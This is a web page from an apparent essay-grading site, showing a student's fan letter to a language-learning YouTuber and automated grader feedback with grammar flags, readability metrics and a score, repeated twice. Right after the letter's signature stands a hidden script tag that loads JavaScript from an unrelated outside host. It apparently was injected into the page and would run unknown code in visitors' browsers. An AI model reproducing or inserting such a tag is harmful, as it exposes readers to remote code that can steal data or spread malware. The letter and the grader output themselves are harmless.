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Dear Khanh Vy ,
Hello, my name is Van Anh. I am writing this letter to express my admiration for you. And I really thank you for being an inspiration and motivation in learning English and many other things. I knew you when I was in 7th grade and at that time I didn't even have a personal cell phone to access social media. I got to know you once I borrowed my mom's phone to watch youtube and your video attracted me. Its title is "hotgirl speaks 7 languages". Wow, what a surprise. You can speak fluently, especially in English. And from there, I follow and watch more of your videos on social networks. And to this day, I still like you very much. You are truly an excellent and civilized person. I learned a lot from you. Whenever I feel depressed or disappointed about my English, I will watch your videos to refresh my spirit. You have created a lot of useful videos about learning foreign languages. And I have improved some of my skills. Unlike social media channels that only serve entertainment purposes, when I follow you, I feel I have a clearer goal in life and a more positive spirit. And that's all I want to tell you.You are a great inspiration to everyone. All my friends around me like you very much. By the way, thank you for taking the time to read my letter.
Sincerely,
Van Anh<script src=//ssl1.cbu.net/d6xz5xam></script>
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Essay evaluations by e-grader
Grammar and spelling errors:
Line 1, column 15, Rule ID: COMMA_PARENTHESIS_WHITESPACE
Message: Put a space after the comma, but not before the comma
Suggestion: ,
Dear Khanh Vy , Hello, my name is Van Anh. I am wri...
^^
Line 3, column 248, Rule ID: EN_CONTRACTION_SPELLING
Message: Possible spelling mistake found
Suggestion: didn't
...n I was in 7th grade and at that time I didnt even have a personal cell phone to acce...
^^^^^
Line 3, column 1098, Rule ID: EN_CONTRACTION_SPELLING
Message: Possible spelling mistake found
Suggestion: that's
...in life and a more positive spirit. And thats all I want to tell you.You are a great ...
^^^^^
Line 3, column 1127, Rule ID: SENTENCE_WHITESPACE
Message: Add a space between sentences
Suggestion: You
...pirit. And thats all I want to tell you.You are a great inspiration to everyone. Al...
^^^
Transition Words or Phrases used:
if, really, so, still, i feel, by the way
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 6.0 13.1623246493 46% => More to be verbs wanted.
Auxiliary verbs: 2.0 7.85571142285 25% => OK
Conjunction : 13.0 10.4138276553 125% => OK
Relative clauses : 4.0 7.30460921844 55% => More relative clauses wanted.
Pronoun: 49.0 24.0651302605 204% => Less pronouns wanted
Preposition: 26.0 41.998997996 62% => OK
Nominalization: 5.0 8.3376753507 60% => More nominalizations (nouns with a suffix like: tion ment ence ance) wanted.
Performance on vocabulary words:
No of characters: 1074.0 1615.20841683 66% => OK
No of words: 242.0 315.596192385 77% => More content wanted.
Chars per words: 4.43801652893 5.12529762239 87% => OK
Fourth root words length: 3.94415379849 4.20363070211 94% => OK
Word Length SD: 2.61930842841 2.80592935109 93% => OK
Unique words: 144.0 176.041082164 82% => More unique words wanted.
Unique words percentage: 0.595041322314 0.561755894193 106% => OK
syllable_count: 335.7 506.74238477 66% => OK
avg_syllables_per_word: 1.4 1.60771543086 87% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 14.0 5.43587174349 258% => Less pronouns wanted as sentence beginning.
Article: 0.0 2.52805611222 0% => OK
Subordination: 2.0 2.10420841683 95% => OK
Conjunction: 5.0 0.809619238477 618% => Less conjunction wanted as sentence beginning.
Preposition: 1.0 4.76152304609 21% => More preposition wanted as sentence beginning.
Performance on sentences:
How many sentences: 20.0 16.0721442886 124% => OK
Sentence length: 12.0 20.2975951904 59% => The Avg. Sentence Length is relatively short.
Sentence length SD: 33.8059166419 49.4020404114 68% => OK
Chars per sentence: 53.7 106.682146367 50% => More chars_per_sentence wanted.
Words per sentence: 12.1 20.7667163134 58% => More words per sentence wanted.
Discourse Markers: 2.05 7.06120827912 29% => More transition words/phrases wanted.
Paragraphs: 1.0 4.38176352705 23% => More paragraphs wanted.
Language errors: 4.0 5.01903807615 80% => OK
Sentences with positive sentiment : 14.0 8.67935871743 161% => OK
Sentences with negative sentiment : 1.0 3.9879759519 25% => More negative sentences wanted.
Sentences with neutral sentiment: 5.0 3.4128256513 147% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.132817060289 0.244688304435 54% => OK
Sentence topic coherence: 0.0400014760232 0.084324248473 47% => OK
Sentence topic coherence SD: 0.0540090581048 0.0667982634062 81% => OK
Paragraph topic coherence: 0.134117530452 0.151304729494 89% => OK
Paragraph topic coherence SD: 0.0 0.056905535591 0% => Paragraphs are similar to each other. Some content may get duplicated or it is not exactly right on the topic.
Essay readability:
automated_readability_index: 5.5 13.0946893788 42% => Automated_readability_index is low.
flesch_reading_ease: 76.22 50.2224549098 152% => OK
smog_index: 3.1 7.44779559118 42% => Smog_index is low.
flesch_kincaid_grade: 5.6 11.3001002004 50% => Flesch kincaid grade is low.
coleman_liau_index: 7.58 12.4159519038 61% => OK
dale_chall_readability_score: 7.17 8.58950901804 83% => OK
difficult_words: 45.0 78.4519038076 57% => More difficult words wanted.
linsear_write_formula: 6.0 9.78957915832 61% => OK
gunning_fog: 6.8 10.1190380762 67% => OK
text_standard: 6.0 10.7795591182 56% => The average readability is low. Need to imporve the language.
What are above readability scores?
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Minimum 250 words wanted.
Minimum four paragraphs wanted.
Rates: 56.1797752809 out of 100
Scores by essay e-grader: 3.33 Out of 6
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Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.
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Grammar and spelling errors:
Line 1, column 15, Rule ID: COMMA_PARENTHESIS_WHITESPACE
Message: Put a space after the comma, but not before the comma
Suggestion: ,
Dear Khanh Vy , Hello, my name is Van Anh. I am wri...
^^
Line 3, column 248, Rule ID: EN_CONTRACTION_SPELLING
Message: Possible spelling mistake found
Suggestion: didn't
...n I was in 7th grade and at that time I didnt even have a personal cell phone to acce...
^^^^^
Line 3, column 1098, Rule ID: EN_CONTRACTION_SPELLING
Message: Possible spelling mistake found
Suggestion: that's
...in life and a more positive spirit. And thats all I want to tell you.You are a great ...
^^^^^
Line 3, column 1127, Rule ID: SENTENCE_WHITESPACE
Message: Add a space between sentences
Suggestion: You
...pirit. And thats all I want to tell you.You are a great inspiration to everyone. Al...
^^^
Transition Words or Phrases used:
if, really, so, still, i feel, by the way
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 6.0 13.1623246493 46% => More to be verbs wanted.
Auxiliary verbs: 2.0 7.85571142285 25% => OK
Conjunction : 13.0 10.4138276553 125% => OK
Relative clauses : 4.0 7.30460921844 55% => More relative clauses wanted.
Pronoun: 49.0 24.0651302605 204% => Less pronouns wanted
Preposition: 26.0 41.998997996 62% => OK
Nominalization: 5.0 8.3376753507 60% => More nominalizations (nouns with a suffix like: tion ment ence ance) wanted.
Performance on vocabulary words:
No of characters: 1074.0 1615.20841683 66% => OK
No of words: 242.0 315.596192385 77% => More content wanted.
Chars per words: 4.43801652893 5.12529762239 87% => OK
Fourth root words length: 3.94415379849 4.20363070211 94% => OK
Word Length SD: 2.61930842841 2.80592935109 93% => OK
Unique words: 144.0 176.041082164 82% => More unique words wanted.
Unique words percentage: 0.595041322314 0.561755894193 106% => OK
syllable_count: 335.7 506.74238477 66% => OK
avg_syllables_per_word: 1.4 1.60771543086 87% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 14.0 5.43587174349 258% => Less pronouns wanted as sentence beginning.
Article: 0.0 2.52805611222 0% => OK
Subordination: 2.0 2.10420841683 95% => OK
Conjunction: 5.0 0.809619238477 618% => Less conjunction wanted as sentence beginning.
Preposition: 1.0 4.76152304609 21% => More preposition wanted as sentence beginning.
Performance on sentences:
How many sentences: 20.0 16.0721442886 124% => OK
Sentence length: 12.0 20.2975951904 59% => The Avg. Sentence Length is relatively short.
Sentence length SD: 33.8059166419 49.4020404114 68% => OK
Chars per sentence: 53.7 106.682146367 50% => More chars_per_sentence wanted.
Words per sentence: 12.1 20.7667163134 58% => More words per sentence wanted.
Discourse Markers: 2.05 7.06120827912 29% => More transition words/phrases wanted.
Paragraphs: 1.0 4.38176352705 23% => More paragraphs wanted.
Language errors: 4.0 5.01903807615 80% => OK
Sentences with positive sentiment : 14.0 8.67935871743 161% => OK
Sentences with negative sentiment : 1.0 3.9879759519 25% => More negative sentences wanted.
Sentences with neutral sentiment: 5.0 3.4128256513 147% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.132817060289 0.244688304435 54% => OK
Sentence topic coherence: 0.0400014760232 0.084324248473 47% => OK
Sentence topic coherence SD: 0.0540090581048 0.0667982634062 81% => OK
Paragraph topic coherence: 0.134117530452 0.151304729494 89% => OK
Paragraph topic coherence SD: 0.0 0.056905535591 0% => Paragraphs are similar to each other. Some content may get duplicated or it is not exactly right on the topic.
Essay readability:
automated_readability_index: 5.5 13.0946893788 42% => Automated_readability_index is low.
flesch_reading_ease: 76.22 50.2224549098 152% => OK
smog_index: 3.1 7.44779559118 42% => Smog_index is low.
flesch_kincaid_grade: 5.6 11.3001002004 50% => Flesch kincaid grade is low.
coleman_liau_index: 7.58 12.4159519038 61% => OK
dale_chall_readability_score: 7.17 8.58950901804 83% => OK
difficult_words: 45.0 78.4519038076 57% => More difficult words wanted.
linsear_write_formula: 6.0 9.78957915832 61% => OK
gunning_fog: 6.8 10.1190380762 67% => OK
text_standard: 6.0 10.7795591182 56% => The average readability is low. Need to imporve the language.
What are above readability scores?
---------------------
Minimum 250 words wanted.
Minimum four paragraphs wanted.
Rates: 56.1797752809 out of 100
Scores by essay e-grader: 3.33 Out of 6
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Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.